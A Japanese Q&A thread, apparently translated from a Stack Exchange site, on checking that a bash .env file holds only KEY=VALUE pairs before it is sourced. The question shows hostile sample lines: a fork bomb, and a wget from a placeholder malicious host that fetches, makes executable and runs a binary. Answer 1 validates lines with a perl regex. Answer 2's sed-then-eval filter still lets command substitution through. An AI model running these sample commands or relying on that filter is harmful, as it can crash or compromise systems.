次のスクリプトがあります。
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
source $ENV_FILE
ご覧のとおり、スクリプトユーザーは.env
環境変数を含める必要があるファイルを提供します。環境変数を含むファイルへのパスを含みます$ENV_FILE
。.env
私のスクリプトでは、.env
ファイルには次のキーペア値を含める必要があります。
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
しかし、上記のコードでは、source
環境変数にランダムなテキストファイルを提供するだけでは悪い考えのようです。
たとえば、.env ファイルが次のような場合:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
:(){ :|: & };:
または、次の内容が含まれている場合:
KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3
wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware
ご覧のとおり、このsource
コマンドは単に.envファイルをbashスクリプトにロードします。したがって、予想される環境変数クォータを超える悪意のあるコードが含まれる可能性があります。
では、ファイルにペアのみが含まれているかどうかを確認できますかKEY=VALUE
?
答え1
入力を削除する1つの方法は次のとおりです。
#!/usr/bin/env bash
### Your previous code here ###
env_file=$1
if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
or die "Suspicious line $_"' "$env_file"
then
msg="suspicious source file detected from $env_file"
logger -t $0 "$msg"
mail -s "$0 $msg" [email protected] < "$env_file"
exit 1
else
. "$env_file"
fi
これにより、次の変更のみが許可されます。
key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...
正規表現の一致は次のとおりです。
節 | 説明する |
---|---|
^ |
文字列の始まり |
\w+ |
単語文字(az、AZ、0-9、_)(1回以上(最大限一致)) |
= |
= |
[\047\042\w\s\.-]+ |
すべての文字: '\047', '\042', 単語文字(az, AZ, 0-9, _), スペース(\n, \r, \t, \f および " "), '.', ' - '(1回以上(最大の一致) |
\s* |
空白(\n, \r, \t, \f および " ")(0回以上(最大一致)) |
$ |
オプションの\nの前と文字列の終わり |
| |
または |
^ |
文字列の始まり |
\s* |
空白(\n, \r, \t, \f および " ")(0回以上(最大一致)) |
$ |
オプションの\nの前と文字列の終わり |
答え2
私の考えでは、より良いアプローチは次のとおりです。 https://askubuntu.com/a/886884
環境変数を提供するには、通常のsedとevalを使用します。
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT
evalがサポートされていない場合:
#!/usr/bin/env bash
if [ "$#" -eq 0 ]; then
echo "No argument has been provided"
exit -1
fi
ENV_FILE=$1
if [ ! -f "$ENV_FILE" ]; then
echo "No ENV file has been provided"
exit -1
fi
cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane
source $ENV_FILE.sane